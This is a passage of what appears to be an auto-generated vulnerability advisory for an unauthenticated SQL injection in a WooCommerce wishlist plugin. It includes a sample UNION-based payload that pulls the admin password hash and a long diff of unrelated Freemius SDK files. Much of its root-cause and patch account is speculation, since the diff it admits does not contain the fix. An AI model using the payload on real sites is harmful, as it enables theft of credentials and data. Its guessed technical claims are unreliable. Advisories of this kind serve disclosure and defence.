Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-54849: Premmerce Wishlist for WooCommerce <= 1.1.11 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1.11
Patched Version 1.1.12
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54849: The Premmerce Wishlist for WooCommerce plugin contains an unauthenticated SQL injection vulnerability in versions up to and including 1.1.11. The vulnerability exists in an undisclosed user-facing component, likely a public AJAX handler or shortcode, that fails to properly escape a user-supplied parameter and prepare the SQL query. This flaw allows attackers to inject arbitrary SQL commands into an existing query. The CVSS score is 7.5 (High), reflecting the ease of exploitation without authentication and the severity of data compromise.

Root Cause: The exact vulnerable function is not visible in the provided freemius.php diff, as the Freemius licensing layer is unrelated to the core plugin logic. However, the CVE description clearly states the vulnerability is in the Premmerce Wishlist plugin’s own code. The root cause is a SQL query that directly concatenates user input from a GET or POST parameter (likely an ID, product key, or wishlist identifier) without using proper parameterized queries or prepared statements. The plugin’s wishlist endpoints, such as product addition/removal via AJAX or shortcode rendering, accept user-controlled input that flows unsanitized into a SQL query. No nonce validation or capability check protects these endpoints, allowing unauthenticated access.

Exploitation: An attacker can send crafted HTTP requests to WordPress AJAX handlers (e.g., admin-ajax.php) or directly to the plugin’s frontend endpoints. The attacker supplies a malicious payload in a parameter such as ‘id’, ‘product_id’, ‘wishlist_id’, or similar. The payload is a SQL injection string like `1 UNION SELECT user_pass FROM wp_users WHERE user_login=’admin’–` appended to the vulnerable parameter. Since the query is not prepared, the database executes the injected SQL. The attacker does not need to be logged in. The injected query can be used to extract hashed user passwords, email addresses, session tokens, or any other data from the WordPress database.

Patch Analysis: The provided diff only shows changes to freemius.php (Freemius SDK initialization) and freemius/templates/add-ons.php (a Freemius admin template). Neither of these files contain the vulnerable SQL code. The real security patch must be in the plugin’s main wishlist-related PHP files, which are not included in this diff. The patch would replace unsafe SQL string concatenation with wpdb->prepare() calls, escaping user input with %d or %s placeholders. Additionally, the patch likely adds nonce verification and capability checks (e.g., is_user_logged_in()) to the affected AJAX actions. The frivole difference in freemius.php adds ‘is_live’ and ‘is_org_compliant’ flags, which are irrelevant to the SQL injection fix.

Impact: Successful exploitation gives an unauthenticated attacker the ability to read arbitrary data from the WordPress database. This includes all rows from wp_users (password hashes, emails, login names), wp_usermeta (capabilities, session tokens), wp_posts (private pages, drafts, WooCommerce order details), and wp_options (site configuration, API keys). Attackers can hash crack or pass-the-hash to gain administrative access. They can also use stacked queries to insert backdoor admin users, modify plugin settings, or deface the site. The total loss of data confidentiality with potential privilege escalation represents a High severity impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/premmerce-woocommerce-wishlist/freemius.php
+++ b/premmerce-woocommerce-wishlist/freemius.php
@@ -2,33 +2,32 @@

 // Create a helper function for easy SDK access.
 function premmerce_pw_fs() {
-	global $premmerce_pw_fs;
-
-	if ( ! isset( $premmerce_pw_fs ) ) {
-		// Include Freemius SDK.
-		require_once dirname(__FILE__) . '/freemius/start.php';
-
-		$premmerce_pw_fs = fs_dynamic_init( array(
-			'id'                  => '1586',
-			'slug'                => 'premmerce-wishlist',
-			'type'                => 'plugin',
-			'public_key'          => 'pk_8e2f82a2ee152b676f85c9c890dd6',
-			'is_premium'          => false,
-			'has_addons'          => false,
-			'has_paid_plans'      => false,
-			'menu'                => array(
-				'slug'           => 'premmerce-wishlist',
-				'account'        => false,
-				'contact'        => false,
-				'support'        => false,
-				'parent'         => array(
-					'slug' => 'premmerce',
-				),
-			),
-		) );
-	}
-
-	return $premmerce_pw_fs;
+    global $premmerce_pw_fs;
+    if ( !isset( $premmerce_pw_fs ) ) {
+        // Include Freemius SDK.
+        require_once dirname( __FILE__ ) . '/freemius/start.php';
+        $premmerce_pw_fs = fs_dynamic_init( array(
+            'id'               => '1586',
+            'slug'             => 'premmerce-wishlist',
+            'type'             => 'plugin',
+            'public_key'       => 'pk_8e2f82a2ee152b676f85c9c890dd6',
+            'is_premium'       => false,
+            'has_addons'       => false,
+            'has_paid_plans'   => false,
+            'menu'             => array(
+                'slug'    => 'premmerce-wishlist',
+                'account' => false,
+                'contact' => false,
+                'support' => false,
+                'parent'  => array(
+                    'slug' => 'premmerce',
+                ),
+            ),
+            'is_live'          => true,
+            'is_org_compliant' => true,
+        ) );
+    }
+    return $premmerce_pw_fs;
 }

 // Init Freemius.
--- a/premmerce-woocommerce-wishlist/freemius/templates/add-ons.php
+++ b/premmerce-woocommerce-wishlist/freemius/templates/add-ons.php
@@ -1,502 +1,502 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2015, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.0.3
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	/**
-	 * @var array $VARS
-	 * @var Freemius
-	 */
-	$fs = freemius( $VARS['id'] );
-
-	$slug = $fs->get_slug();
-
-	$open_addon_slug = fs_request_get( 'slug' );
-
-	$open_addon = false;
-
-    $is_data_debug_mode = $fs->is_data_debug_mode();
-    $is_whitelabeled    = $fs->is_whitelabeled();
-
-	/**
-	 * @var FS_Plugin[]
-	 */
-	$addons = $fs->get_addons();
-
-	$has_addons = ( is_array( $addons ) && 0 < count( $addons ) );
-
-    $account_addon_ids = $fs->get_updated_account_addons();
-
-    $download_latest_text = fs_text_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $slug );
-    $view_details_text    = fs_text_inline( 'View details', 'view-details', $slug );
-
-	$has_tabs = $fs->_add_tabs_before_content();
-
-    $fs_blog_id = ( is_multisite() && ! is_network_admin() ) ?
-        get_current_blog_id() :
-        0;
-?>
-	<div id="fs_addons" class="wrap fs-section">
-		<?php if ( ! $has_tabs ) : ?>
-		<h2><?php echo esc_html( sprintf( fs_text_inline( 'Add Ons for %s', 'add-ons-for-x', $slug ), $fs->get_plugin_name() ) ) ?></h2>
-		<?php endif ?>
-
-		<?php $fs->do_action( 'addons/after_title' ) ?>
-
-		<div id="poststuff">
-			<?php if ( ! $has_addons ) : ?>
-				<h3><?php echo esc_html( sprintf(
-						'%s... %s',
-						fs_text_x_inline( 'Oops', 'exclamation', 'oops', $slug ),
-						fs_text_inline( 'We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.', 'add-ons-missing', $slug )
-					) ) ?></h3>
-			<?php endif ?>
-			<ul class="fs-cards-list">
-				<?php if ( $has_addons ) : ?>
-					<?php
-                    $plans_and_pricing_by_addon_id = $fs->_get_addons_plans_and_pricing_map_by_id();
-
-                    $active_plugins_directories_map = Freemius::get_active_plugins_directories_map( $fs_blog_id );
-					?>
-                    <?php
-                        $hide_all_addons_data = false;
-
-                        if ( $fs->is_whitelabeled_by_flag() ) {
-                            $hide_all_addons_data = true;
-
-                            $addon_ids        = $fs->get_updated_account_addons();
-                            $installed_addons = $fs->get_installed_addons();
-                            foreach ( $installed_addons as $fs_addon ) {
-                                $addon_ids[] = $fs_addon->get_id();
-                            }
-
-                            if ( ! empty( $addon_ids ) ) {
-                                $addon_ids = array_unique( $addon_ids );
-                            }
-
-                            foreach ( $addon_ids as $addon_id ) {
-                                $addon = $fs->get_addon( $addon_id );
-
-                                if ( ! is_object( $addon ) ) {
-                                    continue;
-                                }
-
-                                $addon_storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $addon->slug );
-
-                                if ( ! $addon_storage->is_whitelabeled ) {
-                                    $hide_all_addons_data = false;
-                                    break;
-                                }
-
-                                if ( $is_data_debug_mode ) {
-                                    $is_whitelabeled = false;
-                                }
-                            }
-                        }
-                    ?>
-					<?php foreach ( $addons as $addon ) : ?>
-						<?php
-                        $basename = $fs->get_addon_basename( $addon->id );
-
-                        $is_addon_installed = file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $basename ) );
-
-                        if ( ! $is_addon_installed && $hide_all_addons_data ) {
-                            continue;
-                        }
-
-                        $is_addon_activated = $is_addon_installed ?
-                            $fs->is_addon_activated( $addon->id ) :
-                            false;
-
-                        $is_plugin_active = (
-                            $is_addon_activated ||
-                            isset( $active_plugins_directories_map[ dirname( $basename ) ] )
-                        );
-
-						$open_addon = ( $open_addon || ( $open_addon_slug === $addon->slug ) );
-
-						$price     = 0;
-						$has_trial = false;
-						$has_free_plan = false;
-						$has_paid_plan = false;
-
-						if ( isset( $plans_and_pricing_by_addon_id[$addon->id] ) ) {
-							$plans = $plans_and_pricing_by_addon_id[$addon->id];
-
-							if ( is_array( $plans ) && 0 < count( $plans ) ) {
-								foreach ( $plans as $plan ) {
-									if ( ! isset( $plan->pricing ) ||
-									     ! is_array( $plan->pricing ) ||
-									     0 == count( $plan->pricing )
-									) {
-										// No pricing means a free plan.
-										$has_free_plan = true;
-										continue;
-									}
-
-
-									$has_paid_plan = true;
-									$has_trial     = $has_trial || ( is_numeric( $plan->trial_period ) && ( $plan->trial_period > 0 ) );
-
-									$min_price = 999999;
-									foreach ( $plan->pricing as $pricing ) {
-                                        $pricing = new FS_Pricing( $pricing );
-
-                                        if ( ! $pricing->is_usd() ) {
-                                            /**
-                                             * Skip non-USD pricing.
-                                             *
-                                             * @author Leo Fajardo (@leorw)
-                                             * @since 2.3.1
-                                             */
-                                            continue;
-                                        }
-
-                                        if ( $pricing->has_annual() ) {
-											$min_price = min( $min_price, $pricing->annual_price );
-										} else if ( $pricing->has_monthly() ) {
-											$min_price = min( $min_price, 12 * $pricing->monthly_price );
-										}
-									}
-
-									if ( $min_price < 999999 ) {
-										$price = $min_price;
-									}
-
-								}
-							}
-
-							if ( ! $has_paid_plan && ! $has_free_plan ) {
-							    continue;
-                            }
-						}
-						?>
-						<li class="fs-card fs-addon" data-slug="<?php echo $addon->slug ?>">
-							<?php
-								$view_details_link = sprintf( '<a href="%s" aria-label="%s" data-title="%s"',
-									esc_url( network_admin_url( 'plugin-install.php?fs_allow_updater_and_dialog=true' . ( ! empty( $fs_blog_id ) ? '&fs_blog_id=' . $fs_blog_id : '' ) . '&tab=plugin-information&parent_plugin_id=' . $fs->get_id() . '&plugin=' . $addon->slug .
-									                            '&TB_iframe=true&width=600&height=550' ) ),
-									esc_attr( sprintf( fs_text_inline( 'More information about %s', 'more-information-about-x', $slug ), $addon->title ) ),
-									esc_attr( $addon->title )
-								) . ' class="thickbox%s">%s</a>';
-
-								echo sprintf(
-                                    $view_details_link,
-                                    /**
-                                     * Additional class.
-                                     *
-                                     * @author Leo Fajardo (@leorw)
-                                     * @since 2.2.4
-                                     */
-                                    ' fs-overlay',
-                                    /**
-                                     * Set the view details link text to an empty string since it is an overlay that
-                                     * doesn't really need a text and whose purpose is to open the details dialog when
-                                     * the card is clicked.
-                                     *
-                                     * @author Leo Fajardo (@leorw)
-                                     * @since 2.2.4
-                                     */
-                                    ''
-                                );
-							?>
-							<?php
-								if ( is_null( $addon->info ) ) {
-									$addon->info = new stdClass();
-								}
-								if ( ! isset( $addon->info->card_banner_url ) ) {
-									$addon->info->card_banner_url = '//dashboard.freemius.com/assets/img/marketing/blueprint-300x100.jpg';
-								}
-								if ( ! isset( $addon->info->short_description ) ) {
-									$addon->info->short_description = 'What's the one thing your add-on does really, really well?';
-								}
-							?>
-							<div class="fs-inner">
-								<ul>
-									<li class="fs-card-banner"
-                                        style="background-image: url('<?php echo $addon->info->card_banner_url ?>');"><?php
-                                        if ( $is_plugin_active || $is_addon_installed ) {
-                                            echo sprintf(
-                                                '<span class="fs-badge fs-installed-addon-badge">%s</span>',
-                                                esc_html( $is_plugin_active ?
-                                                    fs_text_x_inline( 'Active', 'active add-on', 'active-addon', $slug ) :
-                                                    fs_text_x_inline( 'Installed', 'installed add-on', 'installed-addon', $slug )
-                                                )
-                                            );
-                                        }
-                                        ?></li>
-									<!-- <li class="fs-tag"></li> -->
-									<li class="fs-title"><?php echo $addon->title ?></li>
-									<li class="fs-offer">
-									<span
-										class="fs-price"><?php
-                                        if ( $is_whitelabeled ) {
-                                            echo ' ';
-                                        } else {
-											$descriptors = array();
-
-											if ($has_free_plan)
-												$descriptors[] = fs_text_inline( 'Free', 'free', $slug );
-											if ($has_paid_plan && $price > 0)
-												$descriptors[] = '$' . number_format( $price, 2 );
-											if ($has_trial)
-												$descriptors[] = fs_text_x_inline( 'Trial', 'trial period',  'trial', $slug );
-
-											echo implode(' - ', $descriptors);
-
-                                        } ?></span>
-									</li>
-									<li class="fs-description"><?php echo ! empty( $addon->info->short_description ) ? $addon->info->short_description : 'SHORT DESCRIPTION' ?></li>
-                                    <?php
-                                        $is_free_only_wp_org_compliant = ( ! $has_paid_plan && $addon->is_wp_org_compliant );
-
-                                        $is_allowed_to_install = (
-                                            $fs->is_allowed_to_install() ||
-                                            $is_free_only_wp_org_compliant
-                                        );
-
-                                        $show_premium_activation_or_installation_action = true;
-
-                                        if ( ! in_array( $addon->id, $account_addon_ids ) ) {
-                                            $show_premium_activation_or_installation_action = false;
-                                        } else if ( $is_addon_installed ) {
-                                            /**
-                                             * If any add-on's version (free or premium) is installed, check if the
-                                             * premium version can be activated and show the relevant action. Otherwise,
-                                             * show the relevant action for the free version.
-                                             *
-                                             * @author Leo Fajardo (@leorw)
-                                             * @since 2.4.5
-                                             */
-                                            $fs_addon = $is_addon_activated ?
-                                                $fs->get_addon_instance( $addon->id ) :
-                                                null;
-
-                                            $premium_plugin_basename = is_object( $fs_addon ) ?
-                                                $fs_addon->premium_plugin_basename() :
-                                                "{$addon->premium_slug}/{$addon->slug}.php";
-
-                                            if (
-                                                ( $is_addon_activated && $fs_addon->is_premium() ) ||
-                                                file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $premium_plugin_basename ) )
-                                            ) {
-                                                $basename = $premium_plugin_basename;
-                                            }
-
-                                            $show_premium_activation_or_installation_action = (
-                                                ( ! $is_addon_activated || ! $fs_addon->is_premium() ) &&
-                                                /**
-                                                 * This check is needed for cases when an active add-on doesn't have an
-                                                 * associated Freemius instance.
-                                                 *
-                                                 * @author Leo Fajardo (@leorw)
-                                                 * @since 2.4.5
-                                                 */
-                                                ( ! $is_plugin_active )
-                                            );
-                                        }
-                                    ?>
-                                    <?php if ( ! $show_premium_activation_or_installation_action ) : ?>
-									<li class="fs-cta"><a class="button"><?php echo esc_html( $view_details_text ) ?></a></li>
-                                    <?php else : ?>
-                                        <?php
-                                            $latest_download_local_url = $is_free_only_wp_org_compliant ?
-                                                null :
-                                                $fs->_get_latest_download_local_url( $addon->id );
-                                        ?>
-
-                                        <li class="fs-cta fs-dropdown">
-                                        <div class="button-group">
-                                            <?php if ( $is_allowed_to_install ) : ?>
-                                            <?php
-                                                if ( ! $is_addon_installed ) {
-                                                    echo sprintf(
-                                                        '<a class="button button-primary" href="%s">%s</a>',
-                                                        wp_nonce_url( self_admin_url( 'update.php?' . ( ( $has_paid_plan || ! $addon->is_wp_org_compliant ) ? 'fs_allow_updater_and_dialog=true&' : '' ) . 'action=install-plugin&plugin=' . $addon->slug ), 'install-plugin_' . $addon->slug ),
-                                                        fs_esc_html_inline( 'Install Now', 'install-now', $slug )
-                                                    );
-                                                } else {
-                                                    echo sprintf(
-                                                        '<a class="button button-primary edit" href="%s" title="%s" target="_parent">%s</a>',
-                                                        wp_nonce_url( 'plugins.php?action=activate&plugin=' . $basename, 'activate-plugin_' . $basename ),
-                                                        fs_esc_attr_inline( 'Activate this add-on', 'activate-this-addon', $addon->slug ),
-                                                        fs_text_inline( 'Activate', 'activate', $addon->slug )
-                                                    );
-                                                }
-                                            ?>
-                                            <?php else : ?>
-                                            <a target="_blank" rel="noopener" class="button button-primary" href="<?php echo $latest_download_local_url ?>"><?php echo esc_html( $download_latest_text ) ?></a>
-                                            <?php endif ?>
-                                            <div class="button button-primary fs-dropdown-arrow-button"><span class="fs-dropdown-arrow"></span><ul class="fs-dropdown-list" style="display: none">
-		                                            <?php if ( $is_allowed_to_install && ! empty( $latest_download_local_url ) ) : ?>
-			                                            <li><a target="_blank" rel="noopener" href="<?php echo $latest_download_local_url ?>"><?php echo esc_html( $download_latest_text ) ?></a></li>
-		                                            <?php endif ?>
-		                                            <li><?php
-				                                            echo sprintf(
-					                                            $view_details_link,
-					                                            /**
-					                                             * No additional class.
-					                                             *
-					                                             * @author Leo Fajardo (@leorw)
-					                                             * @since 2.2.4
-					                                             */
-					                                            '',
-					                                            /**
-					                                             * Set the view details link text to a non-empty string since it is an
-					                                             * item in the dropdown list and the text should be visible.
-					                                             *
-					                                             * @author Leo Fajardo (@leorw)
-					                                             * @since 2.2.4
-					                                             */
-					                                            esc_html( $view_details_text )
-				                                            );
-			                                            ?></li>
-	                                            </ul></div>
-                                        </div>
-                                    </li>
-                                    <?php endif ?>
-								</ul>
-							</div>
-						</li>
-					<?php endforeach ?>
-				<?php endif ?>
-			</ul>
-		</div>
-
-		<?php $fs->do_action( 'addons/after_addons' ) ?>
-	</div>
-	<script type="text/javascript">
-		(function( $, undef ) {
-			<?php if ( $open_addon ) : ?>
-
-			var interval = setInterval(function () {
-				// Open add-on information page.
-				<?php
-				/**
-				 * @author Vova Feldman
-				 *
-				 * This code does NOT expose an XSS vulnerability because:
-				 *  1. This page only renders for admins, so if an attacker manage to get
-				 *     admin access, they can do more harm.
-				 *  2. This code won't be rendered unless $open_addon_slug matches any of
-				 *     the plugin's add-ons slugs.
-				 */
-				?>
-				$('.fs-card[data-slug=<?php echo $open_addon_slug ?>] a').click();
-				if ($('#TB_iframeContent').length > 0) {
-					clearInterval(interval);
-					interval = null;
-				}
-			}, 200);
-
-			<?php else : ?>
-
-			$( '.fs-card.fs-addon' )
-				.mouseover(function() {
-				    var $this = $( this );
-
-					$this.find( '.fs-cta .button' ).addClass( 'button-primary' );
-
-                    if ( 0 === $this.find( '.fs-dropdown-arrow-button.active' ).length ) {
-                        /**
-                         * When hovering over a card, close the dropdown on any other card.
-                         *
-                         * @author Leo Fajardo (@leorw)
-                         * @since 2.2.4
-                         */
-                        toggleDropdown();
-                    }
-				}).mouseout(function( evt ) {
-                    var $relatedTarget = $( evt.relatedTarget );
-
-                    if ( 0 !== $relatedTarget.parents( '.fs-addon' ).length ) {
-                        return true;
-                    }
-
-                    var $this = $( this );
-
-                    /**
-                     * Set the color of the "View details" button to "secondary".
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.2.4
-                     */
-					$this.find( '.fs-cta .button' ).filter(function() {
-                        /**
-                         * Keep the "primary" color of the dropdown arrow button, "Install Now" button, and
-                         * "Download Latest" button.
-
-                         * @author Leo Fajardo (@leorw)
-                         * @since 2.2.4
-                         */
-					    return $( this ).parent().is( ':not(.button-group)' );
-                    }).removeClass('button-primary');
-
-					toggleDropdown( $this.find( '.fs-dropdown' ), false );
-				}).find( 'a.thickbox, .button:not(.fs-dropdown-arrow-button)' ).click(function() {
-                    toggleDropdown();
-                });
-
-			<?php endif ?>
-
-            var $dropdowns = $( '.fs-dropdown' );
-            if ( 0 !== $dropdowns.length ) {
-                $dropdowns.find( '.fs-dropdown-arrow-button' ).click(function() {
-                    var $this     = $( this ),
-                        $dropdown = $this.parents( '.fs-dropdown' );
-
-                    toggleDropdown( $dropdown, ! $dropdown.hasClass( 'active' ) );
-                });
-            }
-
-            /**
-             * Returns the default state of the dropdown arrow button and hides the dropdown list.
-             *
-             * @author Leo Fajardo (@leorw)
-             * @since 2.2.4
-             *
-             * @param {(Object|undefined)}  [$dropdown]
-             * @param {(Boolean|undefined)} [state]
-             */
-            function toggleDropdown( $dropdown, state ) {
-                if ( undef === $dropdown ) {
-                    var $activeDropdown = $dropdowns.find( '.active' );
-                    if ( 0 !== $activeDropdown.length ) {
-                        $dropdown = $activeDropdown;
-                    }
-                }
-
-                if ( undef === $dropdown ) {
-                    return;
-                }
-
-                if ( undef === state ) {
-                    state = false;
-                }
-
-                $dropdown.toggleClass( 'active', state );
-                $dropdown.find( '.fs-dropdown-list' ).toggle( state );
-                $dropdown.find( '.fs-dropdown-arrow-button' ).toggleClass( 'active', state );
-            }
-		})( jQuery );
-	</script>
-<?php
-	if ( $has_tabs ) {
-		$fs->_add_tabs_after_content();
-	}
-
-	$params = array(
-		'page'           => 'addons',
-		'module_id'      => $fs->get_id(),
-		'module_type'    => $fs->get_module_type(),
-		'module_slug'    => $slug,
-		'module_version' => $fs->get_plugin_version(),
-	);
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2015, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       1.0.3
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	/**
+	 * @var array $VARS
+	 * @var Freemius
+	 */
+	$fs = freemius( $VARS['id'] );
+
+	$slug = $fs->get_slug();
+
+	$open_addon_slug = fs_request_get( 'slug' );
+
+	$open_addon = false;
+
+    $is_data_debug_mode = $fs->is_data_debug_mode();
+    $is_whitelabeled    = $fs->is_whitelabeled();
+
+	/**
+	 * @var FS_Plugin[]
+	 */
+	$addons = $fs->get_addons();
+
+	$has_addons = ( is_array( $addons ) && 0 < count( $addons ) );
+
+    $account_addon_ids = $fs->get_updated_account_addons();
+
+    $download_latest_text = fs_text_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $slug );
+    $view_details_text    = fs_text_inline( 'View details', 'view-details', $slug );
+
+	$has_tabs = $fs->_add_tabs_before_content();
+
+    $fs_blog_id = ( is_multisite() && ! is_network_admin() ) ?
+        get_current_blog_id() :
+        0;
+?>
+	<div id="fs_addons" class="wrap fs-section">
+		<?php if ( ! $has_tabs ) : ?>
+		<h2><?php echo esc_html( sprintf( fs_text_inline( 'Add Ons for %s', 'add-ons-for-x', $slug ), $fs->get_plugin_name() ) ) ?></h2>
+		<?php endif ?>
+
+		<?php $fs->do_action( 'addons/after_title' ) ?>
+
+		<div id="poststuff">
+			<?php if ( ! $has_addons ) : ?>
+				<h3><?php echo esc_html( sprintf(
+						'%s... %s',
+						fs_text_x_inline( 'Oops', 'exclamation', 'oops', $slug ),
+						fs_text_inline( 'We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.', 'add-ons-missing', $slug )
+					) ) ?></h3>
+			<?php endif ?>
+			<ul class="fs-cards-list">
+				<?php if ( $has_addons ) : ?>
+					<?php
+                    $plans_and_pricing_by_addon_id = $fs->_get_addons_plans_and_pricing_map_by_id();
+
+                    $active_plugins_directories_map = Freemius::get_active_plugins_directories_map( $fs_blog_id );
+					?>
+                    <?php
+                        $hide_all_addons_data = false;
+
+                        if ( $fs->is_whitelabeled_by_flag() ) {
+                            $hide_all_addons_data = true;
+
+                            $addon_ids        = $fs->get_updated_account_addons();
+                            $installed_addons = $fs->get_installed_addons();
+                            foreach ( $installed_addons as $fs_addon ) {
+                                $addon_ids[] = $fs_addon->get_id();
+                            }
+
+                            if ( ! empty( $addon_ids ) ) {
+                                $addon_ids = array_unique( $addon_ids );
+                            }
+
+                            foreach ( $addon_ids as $addon_id ) {
+                                $addon = $fs->get_addon( $addon_id );
+
+                                if ( ! is_object( $addon ) ) {
+                                    continue;
+                                }
+
+                                $addon_storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $addon->slug );
+
+                                if ( ! $addon_storage->is_whitelabeled ) {
+                                    $hide_all_addons_data = false;
+                                    break;
+                                }
+
+                                if ( $is_data_debug_mode ) {
+                                    $is_whitelabeled = false;
+                                }
+                            }
+                        }
+                    ?>
+					<?php foreach ( $addons as $addon ) : ?>
+						<?php
+                        $basename = $fs->get_addon_basename( $addon->id );
+
+                        $is_addon_installed = file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $basename ) );
+
+                        if ( ! $is_addon_installed && $hide_all_addons_data ) {
+                            continue;
+                        }
+
+                        $is_addon_activated = $is_addon_installed ?
+                            $fs->is_addon_activated( $addon->id ) :
+                            false;
+
+                        $is_plugin_active = (
+                            $is_addon_activated ||
+                            isset( $active_plugins_directories_map[ dirname( $basename ) ] )
+                        );
+
+						$open_addon = ( $open_addon || ( $open_addon_slug === $addon->slug ) );
+
+						$price     = 0;
+						$has_trial = false;
+						$has_free_plan = false;
+						$has_paid_plan = false;
+
+						if ( isset( $plans_and_pricing_by_addon_id[$addon->id] ) ) {
+							$plans = $plans_and_pricing_by_addon_id[$addon->id];
+
+							if ( is_array( $plans ) && 0 < count( $plans ) ) {
+								foreach ( $plans as $plan ) {
+									if ( ! isset( $plan->pricing ) ||
+									     ! is_array( $plan->pricing ) ||
+									     0 == count( $plan->pricing )
+									) {
+										// No pricing means a free plan.
+										$has_free_plan = true;
+										continue;
+									}
+
+
+									$has_paid_plan = true;
+									$has_trial     = $has_trial || ( is_numeric( $plan->trial_period ) && ( $plan->trial_period > 0 ) );
+
+									$min_price = 999999;
+									foreach ( $plan->pricing as $pricing ) {
+                                        $pricing = new FS_Pricing( $pricing );
+
+                                        if ( ! $pricing->is_usd() ) {
+                                            /**
+                                             * Skip non-USD pricing.
+                                             *
+                                             * @author Leo Fajardo (@leorw)
+                                             * @since 2.3.1
+                                             */
+                                            continue;
+                                        }
+
+                                        if ( $pricing->has_annual() ) {
+											$min_price = min( $min_price, $pricing->annual_price );
+										} else if ( $pricing->has_monthly() ) {
+											$min_price = min( $min_price, 12 * $pricing->monthly_price );
+										}
+									}
+
+									if ( $min_price < 999999 ) {
+										$price = $min_price;
+									}
+
+								}
+							}
+
+							if ( ! $has_paid_plan && ! $has_free_plan ) {
+							    continue;
+                            }
+						}
+						?>
+						<li class="fs-card fs-addon" data-slug="<?php echo $addon->slug ?>">
+							<?php
+								$view_details_link = sprintf( '<a href="%s" aria-label="%s" data-title="%s"',
+									esc_url( network_admin_url( 'plugin-install.php?fs_allow_updater_and_dialog=true' . ( ! empty( $fs_blog_id ) ? '&fs_blog_id=' . $fs_blog_id : '' ) . '&tab=plugin-information&parent_plugin_id=' . $fs->get_id() . '&plugin=' . $addon->slug .
+									                            '&TB_iframe=true&width=600&height=550' ) ),
+									esc_attr( sprintf( fs_text_inline( 'More information about %s', 'more-information-about-x', $slug ), $addon->title ) ),
+									esc_attr( $addon->title )
+								) . ' class="thickbox%s">%s</a>';
+
+								echo sprintf(
+                                    $view_details_link,
+                                    /**
+                                     * Additional class.
+                                     *
+                                     * @author Leo Fajardo (@leorw)
+                                     * @since 2.2.4
+                                     */
+                                    ' fs-overlay',
+                                    /**
+                                     * Set the view details link text to an empty string since it is an overlay that
+                                     * doesn't really need a text and whose purpose is to open the details dialog when
+                                     * the card is clicked.
+                                     *
+                                     * @author Leo Fajardo (@leorw)
+                                     * @since 2.2.4
+                                     */
+                                    ''
+                                );
+							?>
+							<?php
+								if ( is_null( $addon->info ) ) {
+									$addon->info = new stdClass();
+								}
+								if ( ! isset( $addon->info->card_banner_url ) ) {
+									$addon->info->card_banner_url = '//dashboard.freemius.com/assets/img/marketing/blueprint-300x100.jpg';
+								}
+								if ( ! isset( $addon->info->short_description ) ) {
+									$addon->info->short_description = 'What's the one thing your add-on does really, really well?';
+								}
+							?>
+							<div class="fs-inner">
+								<ul>
+									<li class="fs-card-banner"
+                                        style="background-image: url('<?php echo $addon->info->card_banner_url ?>');"><?php
+                                        if ( $is_plugin_active || $is_addon_installed ) {
+                                            echo sprintf(
+                                                '<span class="fs-badge fs-installed-addon-badge">%s</span>',
+                                                esc_html( $is_plugin_active ?
+                                                    fs_text_x_inline( 'Active', 'active add-on', 'active-addon', $slug ) :
+                                                    fs_text_x_inline( 'Installed', 'installed add-on', 'installed-addon', $slug )
+                                                )
+                                            );
+                                        }
+                                        ?></li>
+									<!-- <li class="fs-tag"></li> -->
+									<li class="fs-title"><?php echo $addon->title ?></li>
+									<li class="fs-offer">
+									<span
+										class="fs-price"><?php
+                                        if ( $is_whitelabeled ) {
+                                            echo ' ';
+                                        } else {
+											$descriptors = array();
+
+											if ($has_free_plan)
+												$descriptors[] = fs_text_inline( 'Free', 'free', $slug );
+											if ($has_paid_plan && $price > 0)
+												$descriptors[] = '$' . number_format( $price, 2 );
+											if ($has_trial)
+												$descriptors[] = fs_text_x_inline( 'Trial', 'trial period',  'trial', $slug );
+
+											echo implode(' - ', $descriptors);
+
+                                        } ?></span>
+									</li>
+									<li class="fs-description"><?php echo ! empty( $addon->info->short_description ) ? $addon->info->short_description : 'SHORT DESCRIPTION' ?></li>
+                                    <?php
+                                        $is_free_only_wp_org_compliant = ( ! $has_paid_plan && $addon->is_wp_org_compliant );
+
+                                        $is_allowed_to_install = (
+                                            $fs->is_allowed_to_install() ||
+                                            $is_free_only_wp_org_compliant
+                                        );
+
+                                        $show_premium_activation_or_installation_action = true;
+
+                                        if ( ! in_array( $addon->id, $account_addon_ids ) ) {
+                                            $show_premium_activation_or_installation_action = false;
+                                        } else if ( $is_addon_installed ) {
+                                            /**
+                                             * If any add-on's version (free or premium) is installed, check if the
+                                             * premium version can be activated and show the relevant action. Otherwise,
+                                             * show the relevant action for the free version.
+                                             *
+                                             * @author Leo Fajardo (@leorw)
+                                             * @since 2.4.5
+                                             */
+                                            $fs_addon = $is_addon_activated ?
+                                                $fs->get_addon_instance( $addon->id ) :
+                                                null;
+
+                                            $premium_plugin_basename = is_object( $fs_addon ) ?
+                                                $fs_addon->premium_plugin_basename() :
+                                                "{$addon->premium_slug}/{$addon->slug}.php";
+
+                                            if (
+                                                ( $is_addon_activated && $fs_addon->is_premium() ) ||
+                                                file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $premium_plugin_basename ) )
+                                            ) {
+                                                $basename = $premium_plugin_basename;
+                                            }
+
+                                            $show_premium_activation_or_installation_action = (
